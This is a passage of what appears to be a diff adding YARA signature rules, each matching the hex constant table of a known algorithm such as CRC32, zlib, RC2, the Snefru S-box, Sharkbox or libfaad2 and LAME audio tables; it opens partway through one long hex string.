d96602347b9ab26087a2486d83eb46697fd3bc6a5cc4df8ea0fc2583a4b52b87588dd18ffa7161db06499bd6020095d2fe386fd111afa325ed975928e9de572c15e6ad24b71a1d704b22e77d4f6be979b353137b09452ebff57dd4b2f134dab60d0c20beaff090ea53c86ae7578164e3abb99ee0442e5214b816a819bc5fa61d40675c15e29bec411ea3164c1aea1848e6d2e24bc5c581af39fd7ba23db475a6c18c8fae63703ffa9f48c5f79b01cbf3673931f088aefd047496070970df090d8ce7f3052e1b4351d223b95cd66ab7582a524d530e494557f271bf5af638b15e0a004b56a8fcfb0254c4010f508d0f0bacb5f508432239fcbf1ac3f1bb53cdf5476b37fde59787a919af7da41de673a0e1de89a3c2c9ea473ef1104a3ab81e4ec680e446647c54129844ae1f9c0da01b60355a188fa296ec739a6ce177d362e58beb98ed291728b9d52fd2b4d166dcb02d5e26b297481b766b70e17b6f39ef7f9301157731fda523cdc55f2ec98c512a35b4ab29da2367dd261b9dd0225293d4de6a69dc7c96d98880ae238584e72d8178dfd7825bc8b466a7f04e6ba3b9406f5f81ba67fd7d0a330145f03e050cfe3af934043916a3c8cdea9b32c0eed23cc412eac6ccb01676984c2e8c9548678291b45f78903c4bf914c0730319c43a0d1d3802f7159afe474166c6bd4c628fb3489eb7494b712085bf8d187fb2895171b675698bbed7953bea2badc1e72fe4cfe3d3dc35e0f0cb56040cf3ac0908baa20df4825805567ee851aa46125cae0f1c585237e65bbda02aaf4198d0a245d1dea6b9e924ae1b1594fae72d6ef7e36460f31f5c9af1a54aa73559725d385d3b533ca103a93403ff1960ffc7e36dfb8eed6907b6176ae821db9e1419219310502f97ec68d59f4e9465cbb2ac9fc6b6e591c24add6bc169ca082595f2f22891bbfc2c6d830624cf7fb67033474c7d370e4279cb36b87a24a1748ed8998e83dcd0808720e87a8f8214cadb7e2c30d67a653ed2865dc4d56a4c3dd19674c7dc923dc9d86e0533d0ccf9838430c179893488778dc8b08d8e2727417adb1fbb77df56b573236e4f7b8192ff2f7daa052279e30b2685dbf125a6cc92c15af468cc5ebd66c8a2859cc000792c94fc41d699f808d89d0430229eeba7ee6a179f146713d61a63efeee06b4d12503fb12aaa32b563a436495b5e34f34d63f00f7599fd0b3c97f9f7046df155f8dda5a9c027a8ad8929ac51b1d3afbe261f5b421ee5564657eb52ba6f115a1893a10ee4ab5b03e0e255071cdaaf043fcdcce0c3f536edc7bc38e93b84c2e1997872b5654088b8610986bc9d317cbf72a6b04b8e9e4a468ad7444276efbe4ad4130e1e282bf4132c62fa17d05a0016584e8192a4767b9fa03f759b5c078f93fefb3fc702c3c5ca068acbcefab231cd1525fd39e91d0734ed540930116cf338b390436c4fa8b9614be1b765b7d94d6694ce2e8268f6d48f6cbfda8b90872083327b90d7ce436adaca0a64de36329eddd9a55229259da82421d4a620ddec5c287f10ec7c83281671876118757b59e277c14fdfb33d7725be393e2bbac506d1b267fa61e69bc29beb9f8b95ef63b36fec8c24a318701c591574555711886dad192a911d4dd6a9e740d2e0e9442ed813470dcf70a3f1f78aaef5be84aa09867ea2ab7acef6574234fb530b3affaf33c0fc40a40c08bc9cf605b8d5f80144ed0209e611b25d1a2948501e604654e258bc59dad13efd26e9c4f022a0caf4de9830fc7c6480a8805c7aa5841574a1782d8ea297ba42566b82b85b6fcbb65f93f34c57310ffc03cd37060ec97e080a3546f209165191edea696be0ee2065e412189fecb0e42fb84cdcd5b54895dbb1b4ad21b25b3aed46a702174ba34b194f5f73e347fd8f531301b7a91e05fea71af9c65d1843d060dcbfe89ad1bba194d547996edde565de89195d24841d142a80e12cd0830ebb1c77f283e67af6cae87e0af21276a80ea2225436582f507f562bac47ac288f50cfcc736835c177213bc58b19c1cd29e57199d5dd8b94d19485902dac7f93c23bb3673e03496a3a4a476ec672bd66648e0d3298b6f73f9cfff93b60c7033ae8d382be14eb78b310a276b7ec9a8cbf4e663cebb25ec6e6b617c8e24a2f32e1a5b8fe15598004185dc90a1ca1f1f014030d4040ff35ba4dfb7cb44907444e4a24532daed86bd7a3dc22d9a7201a23af82e693fb7ede69f67a9767f286af9df1693851059500ab089149a50c6d715f04cf8def5033b5155d37fc1b59cbc4e15b71d2dc9f8dea269289a32896759bd29ed76762ca2b5f98c72f1696c3d32e6cc03cb9a034c0815a39c4c8543d38f0ae359a0c1e616634e46c627dea689e45106bbd52738f416a898245238786b91b7d8e1be7cddae7df37d7e39639d31faec3d0f0390f240c01f5290848fb2df4700125568cb171aab44b7caefd457852c5bf7fbed4467b42ecbc7646a5b272ba9d487a1861f82ee4590223e0100c271c28f624f3bf3ad00f87c0dd0bceced9f7f634d1550a8485a9327e88ad7b708c51438a8f7254e96b8e6c13668a251d62761de76ad4e1573e28d9ad332c90a337d0a859343f3f95c0c3076fcdc74e61c93b769bc1998a2b9565b2d19861fbdf9c9dc3259e27d5185adbede257dfa4ec53239c165b8160a60f7d585c02791152068529a8056abe64f196869efc92cf90f86ef76af0cc0bdaa4303320a9347a2eadc842d4aeeb55b74a176d4d4713244343ef1cb94b4de0091fb1d8f312b591fd1649a90715a63ecbe15a0631ec5e4f3fe8a277c5e0008b75b4fcb38fb9f8fa81bd04c27bbc8cd6fa3870ee003574a70e31889ff4392a63446dd65bbe60d212b0642e2a4a67c1bd86933d857c9e39cc729ac5f48892670838c69b30c2cb9f79cccf634136cc40565528bc6eaf25b827a121441f5b29e6e3eb7d1adb11701e921f74e2aae5770d3d2983f105d38ef54cdd8a09742782ab8897d657b06ddb53f963dfafc199dd15d7a419e9ef5e14eda65010119eaa18b3621a4c4f5ae0414b13ee45b72b144658bcd8b2a48422bfa0cd2cbb5cf5d6b3fe0966e702319cea067892eefa4068edd9570b09256ff1042126ff00dd1e05087fe2b55c83da4f51879341557babbb56943c77a268048daf6c4d83ab907579a33289c9f7ceb133facaf83dfe36c0c7f512dbcff1eee335fceaaa3bf81692c1f0b46e71a448568ba94c1f85adb0277fae5fb0b35aa3884957a7c147535bf9bd5bf9050d0f053df7020174f906fd4c0305de5b60e122639aec262a94e8da126ee078eedeb484d624b9809f2abd7ca7d0be93301c4a6f08e6476b41e8439779124b3585a21fc9bd5812cdf4561631ccac148bda91d077e26bdd73ab65d98f939fd12d6f2f85d157d588d51edb8c2926218fc6b1ed7b3a8917763ec01972c2f8e37a6004532e9c3ca9239875a727644d5d24475a3ec0bb62c4cdbf2bcac9431330c1e1ef80951dd77a98199e749ce5a68e9f0a31426bf609b866f240b6620e784c6aac84fc3e50bc063354f50837a8cdf23620d973b2dce189bfd8a887bb24907db3866ccde77a5437ea7e1d39ee8225c3ed6db20f19918af51495c3fb1069fb0118cb07b14c373f4b4133764545cf4ebf46ec59dca2106126af142828abe810d2a34aec62f7b6d498fab29d96fe4ea56cfda132a0095d0a5a0459435400a57bae0807871e5cfbbfe451fff6ea5503ce1057b9d82d9345e0d79e41a9d99abd9123921f6d93c6e35569cbe71c67cf1b249dccf4b35138088bab350cc2a531f0fa5f395206ef6dae3e1560aa771b64564fe167755882838960788e8d29768a71118c82d3ed3cd62fd5c6db2b9cc8dfd7a432dc3833fe28c40b0425c0420a213c7af0299e86407d62beba7066f7b4749acf4e7376deb7778ae64d7a8eaf437e7297b976d06b09222c53f32f281afd2bd42207283bb5cbdcc78d31d1c3c43fd53ffcc5dd9d00758961388f846571818099497b83ba5e18674666e26a422fec6ebe1716661ceba632e0d35c3fe49a523b18a2a838f73564cc0b0d9ec10f4490c5f37c6acd5180da99adb82094a9f12e9055c9d492efdfe95613e7135b17ae1d5feb96e757496a5703b552ad0eb11ba30a4d235909a2b495fd5e8c6ff05ac561f4a6fd9bfc04012ba8f839d1a5fc70dfa1004825a2235f4646df67bc4bdb2eb24f2716484785eaf81379d2021e7d9b0c1a81a3f6196e343aed920cc0e09645cee46a7d34ecc88184b834b97eb530f070b1ccc88ab044dc0b34b8e4f139bcadff3d40950535e269b5611e514f6c1a184168e620bb6b09b7779ff58f8d92f1c683960dfe799eaf02c9ca533a33c757733dc3ab4bc7c0885ca42474645e29702d502d8c15aa252ee91a71d2d1e07cd698ee782aa0147bc537d88f390f22823d462c86c17ed68e638266da9fba9cd79bf392d367cb68d1dddd551521e5af1825aca11cd9945b147b68eb408750114d83191f497f21e54a90b629be6c8ed3b368c7ddb794ff27bf360397ebca3b6de6ce7263e2324a99e1115dfa05ed650008e92c0e0c1514f404b7e844504bd0be5d4f99b059b3a14a5a5c3686aea00e7ca3a44772a7587f88affa8338fb06bbc2f602f2ccf2feca36f61c928aa2e0aa70afe4e37eab18db84a3ba2734f7461fcefa4256c0febe6e3afd51f9f609adc10c04a988020055b0f808f74c485c0b74b2510f3dbc55f3054656d01225b22c2adfbf2863d1bbd45b2bb376a79be78a9f61ea8ed66fee72ee95ed9d7959196141a3146508ad10993057183bcce74cc7f41d41c3bd13453f85e9478593d48379ab2e8e7de2208a81dada8223266ad6df1e90dbdb579edf276f64dcc8f8a82834c0522530895c21ccb1a6296e4d167d9275ec70963ce2746a04187749137b93b52b819eb1628f9a4d5a7592efa6c5c6139e3fcb17d731cfebefcbcc04780738f840fd35fc09f33100310939a2cdb96d5ef543605abc4d64a684b7652e9036e1d2a8ccecd6e1c2e82ad938e0882588b4741d72b970547cbd8c6c86be63fb4a4a9fc3b0479b8abe4367b2444bc54ef41f39760e123d3f0016c107fa15e21099f11e2863fc1a616df8e65997f044a527a4b89ddda9bcd4d3ad40ec29aeaf7be55a53431f57570a1153ab32eb5b09ce5b0ff5f6a102f1bfaf060d875504b79168c04ba992cd4fe09cc9b3d866c11124d695ed1c2c98e955229c156dd89ffafa146b06c2ee66028be062feb31a6a5c4faa3ea0775033a43e5e375806a4347b11c7d087293ddd836033d97f58c9d1dda47985219c838825d58d8cd9ed778f367abb7bca424176ce0b4f723233b57a90cf052e6cf7ff2368bef12794860b207897f22484af082980e6062d7cdefc25de224c71221ab67c2653b878da6b427b35fc8e8fc9c47482cd8d7a8631b5808e934930da6f71cad76b38c4d397003ed0b4175d34482fa7394c66a93db05e533512a2e361ee9a196cead3176816ebed6bf97c219f0544db92010dd596fd352f9e5fc99fcaa3f165c7a7b86bc35b8091c1e196ac051dae560819e7580ce5dfa20447231250bb1be85dbf52e659436a1c5aacfdd0ae50c52aa3548c24a7a8b4deaf0a486efbf67094f6f2399af20e0160f12d160315d12ef918d567f71c295f0d148ba3bd40779b474d73d249498feab34a607d7fbe9c4585b3980c8bb7643471bfc6c8c1eb3af03be63eb935e2c281cfe34a954e67b6adb46ab2e4ba6e4edc4066ec20f03210180a3f1451043be869fe3807fe32ccfbc6c8c1ff8fc6c503b73ccda14b8c995d737694593a7890a50282938615e1777a2d1b7a7e64157e825cef7620a05f22dc98a52fd8d1ab2b24e95128cb7e9ddc374667d1330f69d5cf3793dd6dcb238991f3d98495bad78069822d82d39410462facea4b2be5e44fd7dd1e477521ae138919541e8d505a1a7168a0199eff6ced62c796e0668e98e49ab662ec384ad2b8c47228b5c03b26b13c03dcb21f14bf56e32c455be7654b5f1b5db157b9a101034599fb0e41d0f50abde80f09527fc3fdae4739f0aa0e37f45636cdfcf4ca7da808f287a50cbb89a1f08373aad4987bae28a081a32ce98fa7d0d175af722dc5fb8e153ff68a5c31f27664cbf199f3070565cbfd086182f30c9dba09043f46b950c37e435dc7374d593b0fb75a1818d4bee4202eb3e06920b71c51dabfbead6aeb429590e646dc9ee2bae464e15573a815a94b5218ad025c1c513aa614f3c616400ffeec4d0bb7e249f78f184b4d99258fb1a1df82b5e8d18649d02b8eeb2c9bda171461d7135d6fd3ef6595d000f25924fccaa329f883ad2d04bb5725a647e7715a7f1d7c5e361378a20ee97b81198a9f7d21709279687e968550849e27ac34cadb94cec7dfddc0c323e53ac0cc72f634304a0c393403023dc83bf8356ac7486196ffb26c92b6bc686e8e4669e69ac7ed1aa23de01eeb33e4e2d3c9ec402f79b8bc1783b5b85e8db1446677b2abf1bb4657c9414b53804f4fafb8b5470d440513f17cff1ef535f11a090d0b192a1a68fdd62292f0d26b9cf42e5366fc8cafd6a870972ca574de22a188e6d8a2677114569b49ee5b9f00e05f63381a57c1c4aa033dfc500e39b55e0ac58da4087f9b99cc83a363c187ea6dc57bd297cdd92e27992516dd94215fd390dd67299332f0e567cec81f6aca81116e36b9eb6694455b32687da13f6c34af3b900c5538b31b36dc4f23ccd14b6ac2d5b75238dd15ae8889e9967284eddf7c8011e78683fe704a770248b07a0601be7efa39447658c5f422a4fd0e2fa0b4002b5c8cfa2cb09d03284ca5f92548ecf721b4d40d291628bd7dea104770ee5949741261b377fdf67f8301ce858e05878b8af9bf71825b43c1d6a77b3bdba33235df5f0acfdc7c1dac3880255635846c58317854a239daa8126d2690e86022d9e664dee11c673176d093cd4e2a9ec907249a353fde9297c36ec66bfb94cb6fb29acf938a60cd299c5d09d5a4a704d1eda9002dd553088f29e35c73111951775817558b60ed5664f721a298cfdbaf9c86d5ab60be2fa3c2429ff73e7a65fa3a336bfec60b91fde51cf219192408141d6d0610e155fc1843a94c4cbf91b641bbd8b84547e04246a8778eb2544f74bf50067abbac3e80b30ec230e7f2facaeaf6b3c4ee0a8b3eef829fbf6b7ea745667aee4b6286d6b16a242a013ed812fb33dc5bf53720630f34cff4c3c033cc39cd378537c9cbbdcdc169417d95957987989130899c6d08739f4e1f107bb227ea76b66ee4724a561e7ae8aaae2e1492542310db5a27ece3a02403746cd0ff4c96ddfb0598d9073d62d1a5c1d28559f928885db0268ca188dc8e1b9ee14ae7a61b47e3ef15431fd7ef4bbd2b5f1f4113a512455aab16b962511556f59de1aacd67ecae8469e852bc93e0f04023b40c78d9b90831d7bdf4092dbed71e4e5a2b26b4572f6fba53d357405b71abf00f8d930a0289da040675e2fe059a7532f1664dc8fc6204c6f89e3c3cf03cc08ca4c0f876a9c4b178a }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_pos__flt64___64_big_320_
+{
+strings:
+	$a0 = { 3ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff1f3b87958b1723ff1f3b87958b1723ff424950abe9fe33ff424950abe9fe33ff424950abe9fe33ff424950abe9fe33ff424950abe9fe33ff95bc98a222d513ffc73ec60e6caa53ffc73ec60e6caa53ff699cc09586e563ff95bc98a222d513fffecb768b7797e40068c2d78084f5a40094c81908e581d3ff95bc98a222d513fffecb7838f6c1940068c2d78084f5a4011de302993774140167e30f99d0f703ffc73ec60e6caa54004187229e907964011de3029937741401fc5b8e30afcb3402670a30db6a1e83fffecb768b7797e400c62c70a152cb8401c512b65089855402c401b003686a540391e6ea85447804004187229e9079640140bfb08497a9d402670a30db6a1e840391e6ea8544780404c1e191148fda0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x3b6e20c8__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000c8206e3b9041dc765861b24d2083b8ede8a3d6d6b0c2649b78e20aa088261fe0400671db1867c396d047adada8a5a70d6085c93638e47b7bf0c41540d86d50fb104d3ec0482c8c8d800ce2b6f8eee81630ce862d68af3460a08f5a5b504b4f1b986b2120c00a936d082afd5670c8f7f6b8e899cde0892b8028a945bb78fbcecdb0dba0f6e8ba12bb209a7c80587876209058181bc839aa560019c46df0ddd12d38fdbf16609c0d5ba8bc6360d05e69c0187e07fb401fb5b6883fdb8da0969e3668b6f00d30d74240f8f72c7b801526db483548e01054faadd874949628b081d6e090efedb8f15da070d1339b0833393bc01357009872e54d50528b7638d6f3a0f0f69d9ba8972fd660b741ed18554b4dd07525768814973b4034f900b0f0ec4078d0827b20b13036e8915e0d907354ad58533a96003288dbc812e6e0e0bba35b289bcd6070fa7f2db8da1116c0381bb60818758d5079c7c09859a9fb689dbcbba0bdd280f8dc60cd30fc0ef6481e0456803e6a6dd85fd820107fb61b402d3d6d880d5356d06ce11b184c8f2060ae8580a88eebbbf0ef59f638cf37cdc80b228d002b4cb6584afefb906a90c0e8889a6020a8f45b78c94616b0e9282d98406d96506003ad0801b1e0c021dfdbb8c3d57b70e3bb402882090de0a2673610667276d8461c4d8027ae004807c03b30e5ca9bf8c5a4a0a0a416ed688478d6b88c897a70ace74128cd550ce0ed3b37980f3197502f5fac084eede1c06e83da30aa969af88af8a1a0eb4aec68cb24d710292e77d809404c8068f20148489c3a60e1d981a8c1b7baf0a005f738806bcc4062616c88420f57d023bd1a1803d321e8c7c66120e7a85a78861a17b0a6742cc8447e8c006410b75805a2fa9025ccc1c07747b70857298c50369bc19816f5fae0f4ff5a28d4916170b5232cb8954d17485158578071366cd81084211030ea1a68d2e0baa0f28e81f8933ccc30b352f7181a174cd03a7977885bcb3a407ba5013899afa1f0b9c19aa8d873d760f81dec903c08ac581c6697007dd4dac85dbae1b0bfb041789fde7a20fe6c37e8de020c805a7ada487a14e1101ba6acd83bc897a0d9c23768f9ac0c30981e41f8b8707a087c653ac05c0b01983db94c501dd77728ffddd7e0dfb3ecb8be01a1709e6f9a58372a219017441ac876f6570056986c78b492ccb094fcf7e8f54eba20d52081d01135c118315bfa4050e9b78870878cf0928d2c38b2e31760d3515aa8f33f61f8a1b4173081da2c68e06861a0c0065ad8220cfa100262c14863d08c8043beb77087abf7b8a7c5cce0c6778128e619ba5004131a98247d21c045cf6c0865a15720cce4ece8ec8ad7b08d389a78ad56a1004f5c01c86f323a900e8077582eee4ca8eafb0c60ca953738ab277af08b4941886943e140492dda18289f97d008f1ac }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0x04C11DB7__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000b71dc1046e3b8209d926430ddc7604136b6bc517b24d861a0550471eb8ed08260ff0c922d6d68a2f61cb4b2b649b0c35d386cd310aa08e3cbdbd4f3870db114cc7c6d0481ee09345a9fd5241acad155f1bb0d45bc2969756758b5652c836196a7f2bd86ea60d9b6311105a6714401d79a35ddc7d7a7b9f70cd665e74e0b6239857abe29c8e8da191399060953cc0278b8bdde68f52fba582e5e66486585b2bbeef46eaba3660a9b7817d68b3842d2fad3330eea9ea16ada45d0b6ca0906d32d42770f3d0fe56b0dd494b71d94c1b36c7fb06f7c32220b4ce953d75ca28803af29f9dfbf646bbb8fbf1a679fff4f63ee143ebffe59acdbce82dd07dec77708634c06d4730194b043dae56c539ab0682271c1b4323c53d002e7220c12acf9d8e1278804f16a1a60c1b16bbcd1f13eb8a01a4f64b057dd00808cacdc90c07ab9778b0b6567c69901571de8dd475dbdd936b6cc0526fb5e6116202fbd066bf469f5e085b5e5ad17d1d576660dc5363309b4dd42d5a490d0b1944ba16d84097c6a5ac20db64a8f9fd27a54ee0e6a14bb0a1bffcad60bb258b23b69296e2b22f2bad8a98366c8e41102f83f60dee87f35da9994440689d9d662b902a7bea94e71db4e0500075e4892636e93e3bf7ed3b6bb0f38c7671f7555032fae24df3fe5ff0bcc6e8ed7dc231cb3ecf86d6ffcb8386b8d5349b79d1edbd3adc5aa0fbd8eee00c6959fdcd6d80db8e6037c64f643296087a858bc97e5cad8a73ebb04b77560d044fe110c54b383686468f2b47428a7b005c3d66c158e4408255535d43519e3b1d252926dc21f0009f2c471d5e28424d1936f550d8322c769b3f9b6b5a3b26d6150391cbd40748ed970afff0560efaa011104dbdd014949b93192386521d0e562ff1b94beef5606dadf8d7706cfcd2202be2653deae6bc1ba9eb0b0668efb6bb27d701a6e6d3d880a5de6f9d64da6acd23c4ddd0e2c004f6a1cdb3eb60c97e8d3ebdc990ffb910b6bcb4a7ab7db0a2fb3aae15e6fbaaccc0b8a77bdd79a3c660369b717df79fa85bb4921f4675961a163288ad0bf38c742db081c330718599908a5d2e8d4b59f7ab085440b6c95045e68e4ef2fb4f4a2bdd0c479cc0cd43217d827b9660437f4f460072f85bc176fd0b86684a16476c93300461242dc565e94b9b115e565a1587701918306dd81c353d9f0282205e065b061d0bec1bdc0f51a69337e6bb52333f9d113e8880d03a8dd097243acd5620e3eb152d54f6d4297926a9c5ce3b68c1171d2bcca000eac8a550add6124d6cd2cb6b2fdf7c76eedbc1cba1e376d660e7aff023ea18ede2ee1dbda5f0aaa064f4738627f9c49be6fd09fdb889bee0798d67c63a80d0dbfb84d58bbc9a62967d9ebbb03e930cadff97b110b0af060d71abdf2b32a66836f3a26d66b4bcda7b75b8035d36b5b440f7b1 }
+
+condition:
+	$a0
+}
+
+	
+rule Zlib_base_dist__32_lil_120_
+{
+strings:
+	$a0 = { 000000000100000002000000030000000400000006000000080000000c00000010000000180000002000000030000000400000006000000080000000c000000000010000800100000002000000030000000400000006000000080000000c0000001000000018000000200000003000000040000000600000 }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table1__flt64___64_big_200_
+{
+strings:
+	$a0 = { 40261b1e400000004024f95d600000004023e66d0000000040220caa6000000040205ef8e0000000401c2d254000000040183f5f600000004014dddb200000004011f50380000000400ee7f980000000400a98caa00000004006e367600000004003b264c0000000400134f4800000003ffe1017000000003ffb7902600000003ff91b0fe00000003ff74a1ce00000003ff59ae2800000003ff45873800000003ff328c0000000003ff22da4200000003ff13f6c000000003ff09cb5a00000003ff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule swscale_perm_rgb__8_byt_64_
+{
+strings:
+	$a0 = { 0001100203110405120607130809140a0b150c0d160e0f1718191a1b1c1d1e1f101112131415161700011802031904051a06071b08091c0a0b1d0c0d1e0e0f1f }
+
+condition:
+	$a0
+}
+
+	
+rule RC2_tab_num_to_ebits__8_byt_256_
+{
+strings:
+	$a0 = { 5dbe9b8b11996e4d59f385a63fb783c5e4736b3a685ac047a064340cf1d052a5b91e964341d8d42cdbf807772acaebef101c160d38722f89c1f980c46dae303dce2063fee61ac7b850e82417fc256fbb6aa34453d9a201abbcb61f98ee9aa72d4f9e8eace0c6494629f4948aafe15bc3b37b57d17c9ced87408ce2cb9314c9612ee5ccf65ea85cd6758d6295586976a14ab55509783382d7dd79f51b0bde26212874049756df3cf03739dcff06a4ea4208dab471b0cf127a4efa6c1d8400c87f9145aa2bc2b18fd5baf2ad19b26736f70f0a927de39de9903e23276613ec8115bd22bf9f7ea9514b4cfb02d3708631e73b05035460486518d2cd5f32880e35fd }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_3__32_lil_1024_
+{
+strings:
+	$a0 = { 2b39795ac232afb80a72f741ec613a83aceddf13c40b99c4bc540fdc885eddfe8118da80fd1aea4dc62c40fd7acc67ae258523c55412a08ed59b6bb56dbd2f86d37585ac1437ba6f46bf7eda3852cd59fedbc98afc293735f2d797e4e084abc34b115af0757a887bdd03c6ed80e66f5e99b3842cdab14e88bfc8b81c8a0951aa1c2362c82122ac8be587b3210d438a208b0f3f2ad29cffa5eaa21260e79e7a141d502af61ae5b2b44c48f33e593c25c036b5822b6b69a90a9b100cbe29790bc7198a3ece0e95662f2c1c9f453db98fe63effc3a3625cb462cb910930574c91016ac07b7ff5312818ca4bb7e7d0f650fa61aa3c5205cfa7e31113e4e9d1210a28e197426a7ec64df2e68931fc4ff32bb7af671e4bce0234546798a5792ae0480617aca300358d20c6765f7f6ebeb45ba463fa68f1f325413f6f4011f3656570022280e5bfd9fdfc0cf7a735079290048f27dc8ed95cd5c5f5db01f2e09afcca0d79fb2777f4ab43afc138e926a6261b40fa2007907bd95227b3d1f1cf24e4d9a9ab99db425fbef86ce3eb2ce83b73fb3ab64e736b4a4136107c665f9777639d04607c58ba8304d1b1ccef1ade55d02911911e057223d64669a76ee8f9008c7648936c16b0f0bb5699846d1f1f8ee115fb5d493b032e36e3563cc5444f51ba7c747278d3891b339c5da89fefd2f8174925476f101b5355d737b053f0b3efd8cc7d02b80ed32df48958d7060261a1347d1ad87dd89215a3f4e5710ecfd145fe2db2ebe801b95ecec00fc960fa2e9042e72d06c9d036e4701c38b5a56d4c82a6813d341f387e524f6c390159ad955a0cb51d9e2e98299f68571542ee7134c0f7e2d7e2a195878d4d32bcc8c324e2397e8312743deecd3f14d27a0cd4130e684abd784d19eba2f95194dbdc719b85895b4f5ca4a814ca03f092ef981d74164444aa33bb7f969e20302e09b8356ad8107bc18cae08bfe1c53f695513ad8076e846651eb9e7b623b2a477ee3305ed089528fd44693b39b6cfcad60509b219982fb7bbec9c77759a4907eceaee5aa694c32df5bd045da2d64e8e00820f16dea6fb6a039b663a8b22700ab15f588b33ccdfa97853a9bc08c95be25949979a90466e8fae66e98306ddb494f965a5cd266440884bc2a09d533250561763ff15c8d01ec4cb50a374c7f731c2b03116810d8d6cf1be2456d255d58cea47dfcdec216d12a087a8ed2a5484bdc1b9a7b11b4c917db6d5a037e98c4373f83070c7b0f671ba7645574145bcf848d3619c9d576019addac4170bcba496f6f293c1a2af6e75942f1d7c432bfef43ae386cb28c7d4eb64ae189d303ee19fdef5e03c85f9a1ab1827dcad7862ce681f245ed4b7825ca1d493223b32dd9e73f16b4a677f585d5baade72478f96634a8686e60b26643d5187479a939692a8bb0700c24e080d8d81d6df64ff }
+
+condition:
+	$a0
+}
+
+	
+rule Sharkbox_crypto_algorithm_Dec_cbox__64_big_8192_
+{
+strings:
+	$a0 = { e6126af05e55aff34b6c893f310b0835aa4c0e84ebfc8d57fb9b5c7bf3b3090d4508a6a9ccba5ce2e5d1d2064dc6bde9348343755288eddeb684505de46b250ca8cede205a1e91e840b89b46f9fa6acc8ee1ec1afab080bade77d6b7408e0a459a3e184c2e455802be93fad23f0955ef3ae76ce3af39b909ad7ee3cf6f5ea7c68b51d1f5cff0b69470ca8d8e3c43bf99ccdba7f8b2a8f6c94c5e6474b5a922a45d31adcd541ccc329b7f701e8c3456a72ac9cd08ecfd593a8fa0844858c18e1f32f0c66c745bc9eac58d6525cbbb888f8c633cbe4b529c05f2cd9ea68aa0774b2cba4811ca2e7d0ee2e33f4dc9649778f4be1bbfac73537f22de6787379f29d90956c2dd79137e46e061efe978868bc71cc85ed90f97a85b31337e9a67c8dbf0360193d1e36af1617fefca4a6383e5eb8535fe633241e243c3fee03ced68acbb81c4abdea570dac867d6c12efb25753ba4282112164dd980cf181f0ea13be4d3a98fb672f86f9f4d5c70c59ff66dc297b0f7d544c2b801380da79760ee2246cd3740fb83411bffc424ade29e114c0dedf858e48de0201b170e642f96fdb154d7ddb46e41531d185f25ec8accb33d03480282d0a4b1e21cbf1bfab3928b3582caaffc336bdebcbb7935c22b27f0f9e37b03c3b8f61393121ab8e07fcb19da71db99fda0ba3dd64a18ce59775c034aea7649ee599b80e9148afe2b6194c6f33f234edcb4d0044b3e1bd5a3c4ce887f68bcdf36bee5e2ff04e0171c4ca0c766caa20bd41279c8f162f9e490ba54efb7b34c5b4228d472cfe8065355825ba9ad98e59f8e25a31b056e2ccd9acfaa10d9f86c88926903dc63a48eb40680f9558939b3239f0fd595ee277cec8710db34d5c3af87b72ec783a3fefc632794936c144db046cb1e5fdf294ef883467b7a1492c6779c4d9d5508967c36d6607c389bec7aa6165d24f26517c407c4cc0d7769ca862acbe94ab3360adc58847496319030ece67a5ff7a556c3d3c5c03d58cafefbbea176b908971a909bad2f79f0e7d9bd6f14197863363ad79e75da86830ad7bf32ce5a034086d0bee6a397998f2cc0671ecf552607428f7ebcd151d752ff184f845abb23c73d0a4963c12b88a55a4e8c579fd80453ae665d2e71ee05c07f8537df10423a4be248187673caa822e1947bd2fd1abbdbc029448c6f96d8e77e6216106a6266fcc1ce65431589d301517e12aa2b730935782fd0ad838085c38c0701d46d6b303e1cb7763d533f57510c9a798f274449cefb6ecb524748af31c922981a2f98bcc8e89fa744bd69b2eeb8069421ecebb5fd90b077e93e6a71564e150733f6116fc9b9e1b5ee964a2de16d937a0690b9a11799bbab7f7e9368da9157562644718be5dc9e32b13cc82af2452599ce42b547e8abf7f8371633b1ae3ed62ac74f799c4f534550c1df3e16395e380881827c2c72bc7010f7f1f38cf6f428d179eed29129850cdd422d41f9f3145b8b6469945a37dad3f40cd5757ab061090389b76554118a4ac769847d6d1aeed261f95401416852a2710ea5b27505e0735a1d8777f860c5b8e1950878dd2701e721cf7ae12087bbdaf7856286f6469521d2f059ef44a82d2746d1b5bc112a768eeb4950c2bf886e4f19a21e307216c8c5b9d555c96b9a1787e8c0e7a31acc5992eff311a0d974af817ce10bdcf50613f16c16fafca9b1307711239c57a4d7e63e9ca06ec64eddd3d8289a95a25ba40b309efdb42e3898b57bcc61b1f5ff73ed0e025ddaa6aaf1b6a7afc53fd9453bfcc42c20d49d0cf507aae77293290a75feff6e4b20a7eb99e405decb9aa1981cfd230defae12ac714ff226fc8c743bd833ab7287126c02d35733d417c2e9372d340195f581f77da349bfe0416568f386eaa4e52f49211ddf71240c3bc313ed191d5057f229e8764566a3e4fb24f9198cdf425115b2d013f921bd3f5e9291ea0a35e6b43afb0732ed4b84a22a91eaf495c21206e79b5214ea090bdc96400000000000000000b3346db2d12b13220ce6ff324c534868aebd5b397ccdb5dc0a957a2b6a806c5c1f0be62f1c04ba4114dff456d4f5d8b858819022615cfa1c05b03def3540362ee3a2571f6b1599dd9229b2c3f52728e1ba62af6fa8386d640673851926d32434641579d8e8b6672104f155bd9731388b9ecf4df1b9746089205cb723867d3566102ea1eb43c4e0333ba604b10d48b7ac50963aadba3e8affac3f8b9dcd2fa9637b1e9ff7f4b2dd60f63ccb1b1d914fc07eaea218c1f2eb4e5fb37d69e5fed08d56e5bfb49cedaecb2dfb2043685f73ab61a54437ddf6510f6fc16ba1204705d8e75302a2fc24a1563dd581a82b9b9398dbc7eb5875ce3c6b90ab626744c5345e59c0f870c32df4b96697a97c59547b9efde8d962d5602d39d3d041d7aeac4c885ef2153b478fde28d4e2ac9c2a0e66191e4a8e7dbe75b4e472485d2a8da1a326437b23b0ea6978d6159e9c047684d61d0f2547c45fc05a72f10e2650993365513c94e9fa89ea9d3dbfd292809d785b4a0817aa8fdb6270e360e42c657f875faa18390b6498a690d0478a760d7d58405d284b1dac5d1f4585b1b6bd1660c90f9